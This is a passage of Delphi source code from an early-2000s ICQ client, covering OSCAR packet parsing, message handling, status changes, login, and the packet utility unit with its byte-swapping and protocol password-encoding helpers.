var T : word;
    k,cnt : integer;
    UINonline,TLV : string;
    r_ip,r_r_ip,r_status : longint;
begin
      UINonline := PacketReadB_String(p);
      M(Memo,'<UIN ON-line: '+UINonline);
      PacketRead16(p);
      cnt := swap(PacketRead16(p));
      for k:=1 to cnt do begin
        T := TLVReadStr(p,TLV);
        case T of
        6:  begin // STATUS
            move(TLV[1],IPArray(r_status),4);
            r_status := DSwap(r_status);
            M(Memo,'#'+s(k)+' TLV($'+inttohex(T,2)+')'+
                    ' STATUS: $'+inttohex(r_status,8));
            end;
        $A: begin // IP
            move(TLV[1],IPArray(r_ip),4);
            M(Memo,'#'+s(k)+' TLV($'+inttohex(T,2)+')'+
                   ' IP: '+IPToStr(IPArray(r_ip)));
            end;
        $C: begin // REAL_IP
            move(TLV[1],IPArray(r_r_ip),4);
            M(Memo,'#'+s(k)+' TLV($'+inttohex(T,2)+')'+
                   ' Real IP: '+IPToStr(IPArray(r_r_ip)));
            end;
            //else M(Memo,'??? #'+s(k)+' TLV($'+inttohex(T,2)+')');
        end;
      end;
end;

(****************************************************************)
procedure TForm1.SNAC_15_3(p:PPack);
var MessageType : word;
    {myUIN,}hisUIN : longint;
    SubType : array[0..3] of byte;
    MessageSubType : longint absolute SubType;
    year,month,day,hour,minute,typemes,{subtypemes,}lenmes : word;
    tmp : PPack;
    sTemp,URL : string;
begin
     PacketRead32(p);
     PacketRead16(p);
     {myUIN := }PacketRead32(p);
     MessageType := swap(PacketRead16(p));
     {Cookie := }swap(PacketRead16(p));
     //M(Memo,'<Cookie: $'+inttohex(Cookie,4));
     case MessageType of
     $DA07: begin
            SubType[3] := 0;
            SubType[2] := PacketRead8(p);
            SubType[1] := PacketRead8(p);
            SubType[0] := PacketRead8(p);
            if(MessageSubType and $FF)<>$0A then begin
              M(Memo,'<FAIL: SubType:$'+inttohex(MessageSubType,4));
            end;
            case MessageSubType of
            $A2080A: begin // Banner URL
                      sTemp := PacketReadString(p);
                      sTemp[pos('<',sTemp)] :='_';
                      URL := 'http://'+copy(sTemp,pos('>',sTemp)+1,pos('<',sTemp)-pos('>',sTemp)-1);
                      M(Memo,'<Banner HTML-Server: '+URL);
                     end;
            else M(Memo,'<??? SNAC 15,3; Type:$DA07; SubType: $'+inttohex(MessageSubType,6));
            end;//
            end;

     $4200: begin // END of offline messages
            //M(Memo,'<Message-Type: $'+inttohex(MessageType,4));
            M(Memo,'<End of OFFline messages');
            tmp := CreatePacket(2,SEQ);
            SNACAppend(tmp,$15,$2);
            PacketAppend16(tmp,swap($0001)); // TLV(1)
            PacketAppend32(tmp,dswap($000A0800));
            PacketAppend32(tmp,UIN);
            PacketAppend16(tmp,swap($3E00)); // ACK
            PacketAppend16(tmp,swap($0200));
            PacketSend(tmp);
            //M(Memo,'>ACK it');
            end;
     $4100: begin // OFFLINE MESSAGE
            hisUIN := PacketRead32(p); // LE
            //M(Memo,'<Message-Type: $'+inttohex(MessageType,4));
            M(Memo,'<OFFLINE MESSAGE from UIN: '+s(hisUIN));
            year := PacketRead16(p);
            month := PacketRead8(p);
            day := PacketRead8(p);
            hour := PacketRead8(p);
            minute := PacketRead8(p);
            typemes := PacketRead8(p);
            {subtypemes := }PacketRead8(p);
            lenmes := PacketRead16(p);
            DoMsg(false,typemes,lenmes,PCharArray(@(p^.data[p^.cursor])),
                  hisUIN,UTC2LT(year,month,day,hour,minute));
            end;
     else M(Memo,'<??? SNAC 15,3; Type: $'+inttohex(MessageType,4));
     end;//case
end;

(****************************************************************)
procedure TForm1.SNAC_4_7(p:PPack);  // INCOMING MESSAGES
var i,cnt,T,MessageFormat,SubMode,SubMode2,Empty : word;
    {myUIN,}hisUIN : longint;
    SubType : array[0..3] of byte;
    MessageSubType : longint absolute SubType;
    tmp,tmp2,tmp3 : PPack;
    sTemp : string;
    dTemp : TByteArray;
    typemes,{subtypemes,}unk,modifier,lenmes : word;

    //for snac 4,0B  (ack for msg-2 type)
    d1,d2 : longint;
    ACK : TByteArray;
    ind : word;

begin
     d1:=PacketRead32(p);
     d2:=PacketRead32(p);
     MessageFormat := swap(PacketRead16(p));
     sTemp := PacketReadB_String(p);
     ind:=0;
     PLONG(@(ACK[ind]))^:=d1; inc(ind,4);
     PLONG(@(ACK[ind]))^:=d2; inc(ind,4);
     PWORD(@(ACK[ind]))^:=swap(MessageFormat);inc(ind,2);
     PBYTE(@(ACK[ind]))^:=length(sTemp);inc(ind,1);
     MOVE(sTemp[1],ACK[ind],length(sTemp));inc(ind,length(sTemp));
     PWORD(@(ACK[ind]))^:=swap($0003);inc(ind,2);

     try hisUIN := strtoint(sTemp); except hisUIN:=0; end;
     M(Memo,'<From: '+sTemp);
     PacketRead16(p); //warning level? garbage of OSCAR protocol
     cnt := swap(PacketRead16(p)); // num of TLVs
     for i:=1 to cnt do
       if TLVReadStr(p,sTemp)=6 then begin { this is a HIS STATUS } end;
     case MessageFormat of
     $0001: begin
            //M(Memo,'<Message-format: 1 (SIMPLY message)');
            TLVReadStr(p,sTemp);
            // copy TLV(2) to TMP
            tmp := PacketNew;
            PacketAppend(tmp,@(sTemp[1]),length(sTemp));
            PacketGoto(tmp,0); // goto !!!!!
            // work it
            PacketRead16(tmp);
            PacketRead16(tmp);
            PacketRead8(tmp);
            PacketRead16(tmp);
            lenmes := swap(PacketRead16(tmp))-4;
            PacketRead32(tmp);

            PacketRead(tmp,@sTemp[1],lenmes);
            SetLength(sTemp,lenmes);
            DoSimpleMsg(hisUIN,sTemp);

            // delete TMP
            PacketDelete(tmp);
            end;
     $0002: begin
            //M(Memo,'<Message-format: 2 (ADVANCED message)');
            TLVReadStr(p,sTemp);
            // copy TLV(5) to TMP
            tmp := PacketNew;
            PacketAppend(tmp,@(sTemp[1]),length(sTemp));
            PacketGoto(tmp,0); // goto !!!!!
            // work it
            SubMode := swap(PacketRead16(tmp));
            PacketRead32(tmp);
            PacketRead32(tmp);
            PacketRead(tmp,@dTemp,16); //capability 16 bytes
            case SubMode of
            $0000: begin
                   //M(Memo,'SubMode: $0000 NORMAL');
                   {T := }TLVReadWord(tmp,SubMode2);// 0001-normal 0002-file reply
                   TLVReadWord(tmp,Empty);// TLV(F) empty
                   T := TLVReadStr(tmp,sTemp);
                   if T=$2711 then begin

                   MOVE(sTemp[1],ACK[ind],47);inc(ind,47);
                   PLONG(@(ACK[ind]))^:=0; inc(ind,4);

                   //******************************************
                   tmp2 := PacketNew;
                   PacketAppend(tmp2,@(sTemp[1]),length(sTemp));
                   PacketGoto(tmp2,0); // goto !!!!!
                   PacketRead(tmp2,@dTemp,26);
                   PacketRead8(tmp2);
                   PacketRead16(tmp2);
                   PacketRead16(tmp2);
                   PacketRead16(tmp2);
                   PacketRead(tmp2,@dTemp,12);
                   typemes := PacketRead8(tmp2);
                   {subtypemes := }PacketRead8(tmp2);
                   unk:=swap(PacketRead16(tmp2));//0200
                   modifier:=swap(PacketRead16(tmp2));//0100
                   M(Memo,'Unk: $'+inttohex(unk,4));
                   M(Memo,'Modifier: $'+inttohex(modifier,4));

                   lenmes := PacketRead16(tmp2);
                   DoMsg(true,typemes,lenmes,PCharArray(@(tmp2^.data[tmp2^.cursor])),
                         hisUIN,Now2DateTime);
                   // delete TMP2
                   PacketDelete(tmp2);

                   PWORD(@(ACK[ind]))^:=1; inc(ind,2);
                   PBYTE(@(ACK[ind]))^:=0; inc(ind,1);
                   PLONG(@(ACK[ind]))^:=0; inc(ind,4);
                   PLONG(@(ACK[ind]))^:=-1; inc(ind,4);

                   // Sending Ack
                   tmp3 := CreatePacket($2,SEQ);
                   SNACAppend(tmp3,$4,$0B);
                   PacketAppend(tmp3,@ACK[0],ind);
                   PacketSend(tmp3);
                   //******************************************
                   end;// IF
                   end;  //Submode:$0000
            $0001: M(Memo,'SubMode:$0001 ??? message canceled ???');
            $0002: M(Memo,'SubMode:$0002 FILE-ACK (not yet)');
            end;//case SubMode
            // delete TMP
            PacketDelete(tmp);
            end;
     $0004: begin
            //M(Memo,'<Message-format: 4 (url or contacts or auth-req or userAddedYou)');
            TLVReadStr(p,sTemp);
            // copy TLV(5) to TMP
            tmp := PacketNew;
            PacketAppend(tmp,@(sTemp[1]),length(sTemp));
            PacketGoto(tmp,0); // goto !!!!!
            // work it
            hisUIN := PacketRead32(tmp);
            typemes := PacketRead8(tmp);
            {subtypemes := }PacketRead8(tmp);
            lenmes := PacketRead16(tmp);
            DoMsg(true,typemes,lenmes,PCharArray(@(tmp^.data[tmp^.cursor])),
                  hisUIN,Now2DateTime);
            // delete TMP
            PacketDelete(tmp);
            end;
       else M(Memo,'<??? SNAC 4,7; Message-format: '+s(MessageFormat));
     end;//case MessageFormat
end;

(****************************************************************)
procedure TForm1.DoMsg(on_off:boolean;typemes,lenmes:integer; data:PCharArray; r_uin:longint; DateTime:TDateTime);
var i,pos1,pos2 : integer;
    sTemp,sLog,sNN,sDT : string;
    LTemp : array[1..6] of string;
begin
     if (lenmes-1)=0 then exit;
     setlength(sTemp,lenmes-1);   // -1 for final string char #0
     move(data^,sTemp[1],lenmes-1);

     for i:=1 to 6 do LTemp[i]:='';
     if (typemes <> TYPE_MSG)and(typemes<>0) then begin
         if sTemp[length(sTemp)]<>#$FE then sTemp:=sTemp+#$FE;
         pos2:=0;
         for i:=1 to 6 do begin
           pos1 := pos2+1;
           pos2 := pos(#$FE,sTemp);
           if pos2 = 0 then break;
           LTemp[i] := copy(sTemp,pos1,pos2-pos1);
           sTemp[pos2] := #$FF;
         end;
     end;
     sNN := '';
     case on_off of
       true: sDT := '<-[A] ';
       false: sDT := '<-[O] ';
     end;
     sDT := sDT+DateTimeToStr(DateTime)+' ';
     case typemes of
     0,TYPE_MSG:
        FmtStr(sLog,sNN+' ['+s(r_uin)+'] "%s"',[sTemp]);
     TYPE_ADDED:
        FmtStr(sLog,'UIN:%d has added you to their contact list.'+
                    'Nick:%s  FName:%s LName:%s E-mail:%s',
                    [r_uin,LTemp[1],LTemp[2],LTemp[3],LTemp[4]]);
     TYPE_AUTH_REQ:
        FmtStr(sLog,'UIN:%d has requested your authorization.'+
                    'Nick:%s  FName:%s LName:%s E-mail:%s '#13#10'Reason:"%s"',
                    [r_uin,LTemp[1],LTemp[2],LTemp[3],LTemp[4],LTemp[6]]);
     TYPE_URL:
        FmtStr(sLog,'URL: UIN:%d, '#13#10'URL:%s, '#13#10'Description:"%s"',
                    [r_uin,LTemp[2],LTemp[1]]);
     TYPE_WEBPAGER:
        FmtStr(sLog,'WebPager: UIN:%d, Nick:%s, EMail:%s, '#13#10'"%s"',
                    [r_uin,LTemp[1],LTemp[4],LTemp[6]]);
     TYPE_EXPRESS:
        FmtStr(sLog,'MailExpress: UIN:%d, Nick:%s, EMail:%s, '#13#10'"%s"',
                    [r_uin,LTemp[1],LTemp[4],LTemp[6]]);
     else FmtStr(sLog,'Instant message type %d from UIN:%d, '#13#10'Message:"%s"',
                    [typemes,r_uin,sTemp]);
     end;//case
     sLog := sDT+sLog;
     M(Memo,sLog); LogMessage(sLog);
end;

(****************************************************************)
procedure TForm1.DoSimpleMsg(r_uin:longint; Text:string);
var sLog : string;
begin
     sLog:= '<-[S] '+DateTimeToStr(Now)+' '+'['+s(r_uin)+'] "'+Text+'"';
     M(Memo,sLog);   LogMessage(sLog);
end;
(****************************************************************)
procedure TForm1.SetStatus(Status:longint);
var tmp : PPack;
begin
       ICQStatus := Status;
       // Set Status Code
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$1,$1E);
       TLVAppendDWord(tmp,6,ICQStatus);
       TLVAppendWord(tmp,8,$0000);
       // imitation TLV(C)
       PacketAppend32(tmp,dswap($000C0025)); // TLV(C)
       StrToIP(Get_my_IP,DIM_IP);
       PacketAppend(tmp,@DIM_IP,4); // IP address
       PacketAppend32(tmp,dswap(28000+random(1000)));// Port
       PacketAppend8(tmp,$04);
       PacketAppend16(tmp,swap($0007));
       PacketAppend16(tmp,swap($466B));
       PacketAppend16(tmp,swap($AE68));
       PacketAppend32(tmp,dswap($00000050));
       PacketAppend32(tmp,dswap($00000003));
       PacketAppend32(tmp,dswap(SecsSince1970));
       PacketAppend32(tmp,dswap(SecsSince1970));
       PacketAppend32(tmp,dswap(SecsSince1970));
       PacketAppend16(tmp,swap($0000));
       PacketSend(tmp);
       case ICQStatus of
         STATE_ONLINE:      StatusBtn.Caption := 'online';
         STATE_AWAY:        StatusBtn.Caption := 'away';
         STATE_DND:         StatusBtn.Caption := 'dnd';
         STATE_OCCUPIED:    StatusBtn.Caption := 'occupied';
         STATE_FREEFORCHAT: StatusBtn.Caption := 'freeforchat';
         STATE_N_A:         StatusBtn.Caption := 'na';
         STATE_INVISIBLE:   StatusBtn.Caption := 'invisible';
         else               StatusBtn.Caption := 'offline';
       end;
end;

(****************************************************************)
procedure TForm1.StatusChange(Status:longint);
var tmp : PPack;
begin
     if(not OL)then begin
       Get_My_IP;
       if not OL then begin
         M(Memo,'OFF-line');
         exit;
       end;
     end;
     if (not CLI.Active) then icq_Login(Status)
     else if (not isLogged) then exit  // logging now ...
     else begin
       ICQStatus := Status;
       case ICQStatus of
       STATE_INVISIBLE: begin
           // Send Visible List
           tmp := CreatePacket(2,SEQ);
           SNACAppend(tmp,$9,$5);
           PacketSend(tmp);
           M(Memo,'>Send Visible List (0)');
         end;
       else begin
           // Send Invisible List
           tmp := CreatePacket(2,SEQ);
           SNACAppend(tmp,$9,$7);
           PacketSend(tmp);
           M(Memo,'>Send Invisible List (0)');
         end;
       end;//case
       // Set Status Code
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$1,$1E);
       TLVAppendDWord(tmp,6,ICQStatus);
       PacketSend(tmp);
       case ICQStatus of
         STATE_ONLINE:      StatusBtn.Caption := 'online';
         STATE_AWAY:        StatusBtn.Caption := 'away';
         STATE_DND:         StatusBtn.Caption := 'dnd';
         STATE_OCCUPIED:    StatusBtn.Caption := 'occupied';
         STATE_FREEFORCHAT: StatusBtn.Caption := 'freeforchat';
         STATE_N_A:         StatusBtn.Caption := 'na';
         STATE_INVISIBLE:   StatusBtn.Caption := 'invisible';
         else               StatusBtn.Caption := 'offline';
       end;
     end;
end;

(****************************************************************)
procedure TForm1.OnlineConnected1Click(Sender: TObject);
begin
     StatusChange(STATE_ONLINE);
end;

(****************************************************************)
procedure TForm1.Away1Click(Sender: TObject);
begin
      StatusChange(STATE_AWAY);
end;

(****************************************************************)
procedure TForm1.DNDDoNotDisturb1Click(Sender: TObject);
begin
      StatusChange(STATE_DND);
end;

(****************************************************************)
procedure TForm1.PrivacyInvisible1Click(Sender: TObject);
begin
      StatusChange(STATE_INVISIBLE);
end;

(****************************************************************)
procedure TForm1.OfflineDiscconnect1Click(Sender: TObject);
begin
     ConnectMode(false);
end;

(****************************************************************)
procedure TForm1.OccupiedUrgentMsgs1Click(Sender: TObject);
begin
      StatusChange(STATE_OCCUPIED);
end;

(****************************************************************)
procedure TForm1.FreeForChat1Click(Sender: TObject);
begin
      StatusChange(STATE_FREEFORCHAT);
end;

(****************************************************************)
procedure TForm1.NAExtendedAway1Click(Sender: TObject);
begin
      StatusChange(STATE_N_A);
end;

(****************************************************************)
procedure TForm1.icq_Login(Status : longint);
begin
     randomize;
     SEQ := random($7FFF);
     Local_IP := Get_my_IP;
     StrToIP(Local_IP,DIM_IP);
     ICQStatus := status;
     if CLI.Active then CLI.Close;
     isAuth := true;
     isHDR := true;
     CLI.Address :='';
     CLI.Host := 'login.icq.com';
     CLI.Port := 5190;
     M(Memo,'>>>>>>>>>>  login.icq.com:5190 <<<<<<<<<<<');
     CLI.Open;
end;

(****************************************************************)
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
     OfflineDiscconnect1Click(self);
     CloseLogs;
end;

(****************************************************************)
procedure TForm1.InitLogs;
begin
     assignfile(mess,s(UIN)+'.mes');
     try  if FileExists(s(UIN)+'.mes') then append(mess)
          else rewrite(mess);
     M(Memo,DateTimeToStr(Now));
     except end;
     assignfile(log,s(UIN)+'.log');
     try if FileExists(s(UIN)+'.log') then append(log)
         else rewrite(log);
     except end;
end;

(****************************************************************)
procedure TForm1.CloseLogs;
begin
     try closefile(mess); except end;
     try closefile(log);  except end;
end;

(****************************************************************)
procedure TForm1.LogMessage(s:string);
begin
     try writeln(mess,s); except end;
end;

(****************************************************************)
procedure TForm1.InitUser;
var cfg : TIniFile;
begin
     cfg := TIniFile.Create(ExtractFilePath(ParamStr(0))+'nICQ.ini');
     try
     UIN := cfg.ReadInteger('User','Uin',0);
     NICK := cfg.ReadString('User','Nick','');
     PASSWORD := cfg.ReadString('User','Password','');
     finally cfg.Free; end;
     Caption := NICK+' : '+s(UIN);
end;

(****************************************************************)
procedure TForm1.ClearFIFO;
var Find : PFLAP_Item;
begin
   repeat
     Find := HeadFIFO;
     if HeadFIFO<>nil then begin
       if HeadFIFO^.Next<>nil then
         HeadFIFO := HeadFIFO^.Next
       else HeadFIFO := nil;
     end;
     if Find<>nil then begin
       FreeMem(Find^.DATA,swap(Find^.FLAP.Len));
       Dispose(Find);
     end;
   until Find=nil;
end;

(****************************************************************)

procedure TForm1.StatusBtnClick(Sender: TObject);
begin
     StatusMenu.Popup(Left+Width-20,Top+Height-50);
end;

end.


Packet.pas

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Author:       Alexander Vaga
EMail:        alexander_vaga@hotmail.com
Creation:     May, 2002
Legal issues: Copyright (C) 2002 by Alexander Vaga
              Kyiv, Ukraine

              This software is provided 'as-is', without any express or
              implied warranty.  In no event will the author be held liable
              for any  damages arising from the use of this software.

              Permission is granted to anyone to use this software for any
              purpose, including commercial applications, and to alter it
              and redistribute it freely.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

unit Packet;
interface
uses Types,SysUtils,Math,StdCtrls,
     Windows,Winsock;

const OL : booLean = false;

function  CreatePacket(ChID:byte; var SEQ:word) : PPack;
function  PacketNew : PPack;
procedure PacketDelete(p:PPack);
procedure PacketAppend8(p : PPack; i : byte);
procedure PacketAppend16(p : PPack; i : word);
procedure PacketAppend32(p : PPack; i : longint);
procedure SetLengthPacket(p : PPack);
procedure TLVAppendStr(p : PPack; T:word;V:string);
function  TLVReadStr(p : PPack; var V:string):word;
procedure TLVAppendWord(p : PPack; T:word;V:word);
procedure TLVAppendDWord(p : PPack; T:word;V:longint);
function  TLVReadWord(p : PPack; var V:word):word;
function  TLVReadDWord(p : PPack; var V:longint):word;
procedure TLVAppend(p : PPack; T:word;L:word;V:pointer);
procedure SNACAppend(p : PPack; FamilyID,SubTypeID:word);
function  PacketRead8(p : PPack): byte;
function  PacketRead16(p : PPack): word;
function  PacketRead32(p : PPack): longint;
procedure PacketAdvance(p:PPack; i : integer);
procedure PacketAppendB_String(p:PPack; s:string);
procedure PacketAppendString(p:PPack; s:string);
procedure PacketAppendStringFE(p:PPack; s:string);
procedure PacketAppend(p:PPack; what:pointer; len:integer);
procedure PacketRead(p:PPack; Buf:pointer; length:integer);
function  PacketReadString(p:PPack):string;
function  PacketReadB_String(p:PPack):string;
procedure PacketBegin(p:PPack);
procedure PacketEnd(p:PPack);
procedure PacketGoto(p:PPack; i:integer);
function  PacketPos(p:PPack):word;
function  Swap(InWord:word):word;
function  DSwap(InLong:longint):longint;assembler;
function  Dim2Hex(what:pointer;len:integer):string;
function  Dim2Str(what:pointer;len:integer):string;
procedure StrToIP(sIP:string; var aIP:IParray);
function  IPtoStr(var aIP:IParray):string;
function  UTC2LT(year,month,day,hour,min:integer) : TDateTime;
function  Now2DateTime : TDateTime;
function  SecsSince1970:longint;
function Get_my_IP: string;
function Calc_Pass(PassIN : string):string;
function  s(i : longint) : string;
procedure M(Memo:TMemo; s:string);

implementation

function CreatePacket(ChID:byte; var SEQ:word) : PPack;
var p : PPack;
begin
      p := PacketNew;
      PacketAppend8(p, $2A);
      PacketAppend8(p, ChID);
      PacketAppend16(p, swap(SEQ));  inc(SEQ);
      PacketAppend16(p, 0); // length - must be filled
      Result := p;
end;

function PacketNew : PPack;
var p : PPack;
begin
   New(p);
   fillchar(p^,sizeof(Pack),0);
   p^.cursor :=0;
   p^.length :=0;
   PacketNew := p;
end;

procedure PacketDelete(p:PPack);
begin
     Dispose(p);
end;

procedure PacketAdvance(p:PPack; i : integer);
begin
     p^.cursor := p^.cursor+i;
     if p^.cursor > p^.length then
        p^.length := p^.cursor;
end;

procedure PacketAppend8(p : PPack; i : byte);
begin
     PBYTE(@(p^.data[p^.cursor]))^ := i;
     PacketAdvance(p,sizeof(byte));
end;

procedure PacketAppend16(p : PPack; i : word);
begin
     PWORD(@(p^.data[p^.cursor]))^ := i;
     PacketAdvance(p,sizeof(word));
end;

procedure PacketAppend32(p : PPack; i : longint);
begin
     PLONG(@(p^.data[p^.cursor]))^ := i;
     PacketAdvance(p,sizeof(longint));
end;

procedure SetLengthPacket(p : PPack);
begin
      PFLAP_HDR(@(p^.data))^.Len := swap(p^.length-sizeof(FLAP_HDR));
end;

procedure TLVAppendStr(p : PPack; T:word;V:string);
var i : integer;
begin
     PacketAppend16(p,swap(T));  // add TYPE
     PacketAppend16(p,swap(length(V))); // add LEN
     for i:=1 to Length(V) do           // add VALUE (variable)
       PacketAppend8(p,byte(V[i]));
end;

function TLVReadStr(p : PPack; var V:string):word;
var i,L : integer;
begin
     V:='';
     Result := swap(PacketRead16(p));
     L := swap(PacketRead16(p));
     for i:=1 to L do  // add VALUE (variable)
       V:=V+char(PacketRead8(p));
end;

procedure TLVAppendWord(p : PPack; T:word;V:word);
begin
     PacketAppend16(p,swap(T));  // add TYPE
     PacketAppend16(p,swap(sizeof(word)));  // add LEN
     PacketAppend16(p,swap(V)); // add VALUE
end;

function TLVReadWord(p : PPack; var V:word):word;
begin
     Result := swap(PacketRead16(p));  // get TYPE
     if swap(PacketRead16(p))<>0 then  // xxxx LEN (word=2)
       V := swap(PacketRead16(p));  // get 16-VALUE
end;

procedure TLVAppendDWord(p : PPack; T:word;V:longint);
begin
     PacketAppend16(p,swap(T));  // add TYPE
     PacketAppend16(p,swap(sizeof(longint)));  // add LEN
     PacketAppend32(p,dswap(V)); // add VALUE
end;

function TLVReadDWord(p : PPack; var V:longint):word;
begin
     Result := swap(PacketRead16(p));  // get TYPE
     if swap(PacketRead16(p))<>0 then  // xxxx LEN (word=2)
       V := dswap(PacketRead32(p));  // get 32-VALUE
end;

procedure TLVAppend(p : PPack; T:word;L:word;V:pointer);
begin
     PacketAppend16(p,swap(T));  // add TYPE
     PacketAppend16(p,swap(L));  // add LEN
     PacketAppend(p,V,L); // add VALUE (variable)
end;

procedure SNACAppend(p : PPack; FamilyID,SubTypeID:word);
begin
     PacketAppend16(p, swap(FamilyID));
     PacketAppend16(p, swap(SubTypeID));
     PacketAppend16(p, swap($0000));

     PacketAppend16(p, Swap(random($FF))); // 00 4D 00 xx
     PacketAppend16(p, Swap(SubTypeID));
end;

function PacketRead8(p : PPack): byte;
var val : byte;
begin
        val := PBYTE(@(p^.data[p^.cursor]))^;
   PacketAdvance(p, sizeof(byte));
   Result := val;
end;

function PacketRead16(p : PPack): word;
var val : word;
begin
     val := PWORD(@(p^.data[p^.cursor]))^;
   PacketAdvance(p, sizeof(word));
   Result := val;
end;

function PacketRead32(p : PPack): longint;
var val : longint;
begin
   val := PLONG(@(p^.data[p^.cursor]))^;
   PacketAdvance(p, sizeof(longint));
   Result := val;
end;

procedure PacketAppendB_String(p:PPack; s:string);
var i : integer;
begin
     PacketAppend8(p, length(s));
     for i:=1 to length(s) do
       PacketAppend8(p,byte(s[i]));
end;

procedure PacketAppendString(p:PPack; s:string);
var len : word;
    sStr : string;
    i : integer;
begin
    if s <> '' then begin
      sStr := s+#0;
      len := length(sStr);
      PacketAppend16(p, len);
      for i:=1 to len do begin
        PBYTE(@(p^.data[p^.cursor]))^ := byte(sStr[i]);
        PacketAdvance(p,sizeof(byte));
      end;
    end else begin
      PacketAppend16(p, 1);
      PacketAppend8(p,0);
    end;
end;

function PacketReadString(p:PPack):string;
var length : word;
    sTemp : string;
    dTemp : TByteArray;
begin
      length := PacketRead16(p);
      setlength(sTemp,length-1);
      PacketRead(p, @dTemp,length);
      if length = 1 then Result := ''
      else begin
        move(dTemp,sTemp[1],length-1); // -1 = without #00
        Result := sTemp;
      end;
end;

function PacketReadB_String(p:PPack):string;
var length : byte;
    dTemp : TByteArray;
begin
     length := PacketRead8(p);
     setlength(Result,length);
     PacketRead(p, @dTemp,length);
     move(dTemp,Result[1],length);
end;

procedure PacketAppend(p:PPack; what:pointer; len:integer);
begin
     move(what^, PBYTE(@(p^.data[p^.cursor]))^, len);
     PacketAdvance(p, len);
end;

procedure PacketRead(p:PPack; Buf:pointer; length:integer);
begin
     move(p^.data[p^.cursor],Buf^,length);
     PacketAdvance(p, length);
end;

procedure PacketAppendStringFE(p:PPack; s:string);
var len : integer;
begin
      if s <> '' then begin
        len := length(s);
         PacketAppend(p, PChar(s[1]), len);
      end;
      PacketAppend8(p, $FE);
end;

procedure PacketBegin(p:PPack);
begin
     p^.cursor := 0;
end;

procedure PacketEnd(p:PPack);
begin
     p^.cursor := p^.length;
end;

procedure PacketGoto(p:PPack; i:integer);
begin
     PacketBegin(p);
     PacketAdvance(p, i);
end;

function PacketPos(p:PPack):word;
begin
     result := p^.cursor;
end;

function Swap(InWord:word):word;
begin
     Result := (lo(InWord)shl 8)+hi(InWord);
end;

function DSwap(InLong:longint):longint;assembler;
asm
   MOV EAX,InLong
   BSWAP EAX
   MOV Result,EAX
end;

function Dim2Hex(what:pointer;len:integer):string;
var i : integer;
    b : byte;
begin
     Result:='';
     for i:=0 to len-1 do begin
       b:=PByteArray(what)^[i];
       Result := Result+inttohex(b,2)+' ';
     end;
end;

function Dim2Str(what:pointer;len:integer):string;
var i : integer;
    b : byte;
begin
     Result:='';
     for i:=0 to len-1 do begin
       b:=PByteArray(what)^[i];
       if b<32 then b:=byte('.');
       Result := Result+char(b)+'  ';
     end;
end;

(****************************************************************)
procedure StrToIP(sIP:string; var aIP:IParray);
var sTemp : string;
    aPos,bPos,cPos : integer;
begin
     longint(aIP) := 0;  if sIP = '' then exit;
     sTemp := sIP;
     aPos := pos('.',sTemp); if aPos = 0 then exit;
     sTemp[aPos] := 'a';
     bPos := pos('.',sTemp); if bPos = 0 then exit;
     sTemp[bPos] := 'b';
     cPos := pos('.',sTemp); if cPos = 0 then exit;
     sTemp[cPos] := 'c';
     try aIP[0] := strtoint(copy(sTemp,1,aPos-1)); except end;
     try aIP[1] := strtoint(copy(sTemp,aPos+1,bPos-aPos-1)); except end;
     try aIP[2] := strtoint(copy(sTemp,bPos+1,cPos-bPos-1)); except end;
     try aIP[3] := strtoint(copy(sTemp,cPos+1,length(sTemp)-cPos)); except end;
end;

(****************************************************************)
function IPtoStr(var aIP:IParray):string;
begin
     IPtoStr := s(aIP[0])+'.'+s(aIP[1])+'.'+s(aIP[2])+'.'+s(aIP[3]);
end;

(****************************************************************)
function UTC2LT(year,month,day,hour,min:integer) : TDateTime;
var r : longword;
    Time : TDateTime;
    TimeStamp : TTimeStamp;
    TZ_INFO   : TIME_ZONE_INFORMATION;
begin
    r := GetTimeZoneInformation(_Time_Zone_Information(TZ_INFO));
    TimeStamp := DateTimeToTimeStamp(EncodeDate(year,month,day)+EncodeTime(hour,min,0,0));
    Time := TimeStampToDateTime(TimeStamp);
    if r = TIME_ZONE_ID_UNKNOWN   then Result := Time
    else Result := Time-((TZ_INFO.Bias+60)/1440);
end;

(****************************************************************)
function Now2DateTime : TDateTime;
var Time : TDateTime;
    TimeStamp : TTimeStamp;
    year,month,day,hour,min,secs,msecs : word;
begin
    DecodeDate(Now, Year, Month, Day);
    DecodeTime(Now,Hour,Min,Secs,Msecs);
    TimeStamp := DateTimeToTimeStamp(EncodeDate(year,month,day)+EncodeTime(hour,min,0,0));
    Time := TimeStampToDateTime(TimeStamp);
    Result := Time;
end;

function SecsSince1970:longint;
var s1970, sNow : TTimeStamp;
begin
     s1970 := DateTimeToTimeStamp(EncodeDate(1970,1,1));
     sNow := DateTimeToTimeStamp(Now);
     SecsSince1970 := Floor(TimeStampToMSecs(sNow)/1000 - TimeStampToMSecs(s1970)/1000);
end;

function Get_my_IP: string;
var wVersionRequested : WORD;
    wsaData : TWSAData;
    p : PHostEnt;
    s : array[0..128] of char;
    p2 : pchar;
begin
     Result := '127.0.0.1';
     try {Start up WinSock}
      wVersionRequested := MAKEWORD(1, 1);
      WSAStartup(wVersionRequested, wsaData);
      try {Get the computer name}
        GetHostName(@s, 128);
        p := GetHostByName(@s);
        {Get the IpAddress}
        p2 := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
        Result := p2;
      except end;
      try {Shut down WinSock} WSACleanup; except end;
     except end;
     OL := Result <> '127.0.0.1';
end;

(****************************************************************)
function Calc_Pass(PassIN : string):string;
const pass_tab : array[1..16] of byte =
      ($F3,$26,$81,$C4,$39,$86,$DB,$92,
       $71,$A3,$B9,$E6,$53,$7A,$95,$7C);
var i : integer;
begin
     Result := '';
     for i:=1 to length(PassIN) do
       Result := Result+char(byte(PassIN[i]) xor pass_tab[i]);
end;

function s(i : longint) : string;
begin
     Result := inttostr(i);
end;

procedure M(Memo:TMemo; s:string);
begin
     Memo.Lines.Add(s);
end;

end.


Types.pas

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Author:       Alexander Vaga
EMail:        alexander_vaga@hotmail.com
Creation:     May, 2002
Legal issues: Copyright (C) 2002 by Alexander Vaga
              Kyiv, Ukraine

              This software is provided 'as-is', without any express or
              implied warranty.  In no event will the author be held liable
              for any  damages arising from the use of this software.

              Permission is granted to anyone to use this software for any
              purpose, including commercial applications, and to alter it
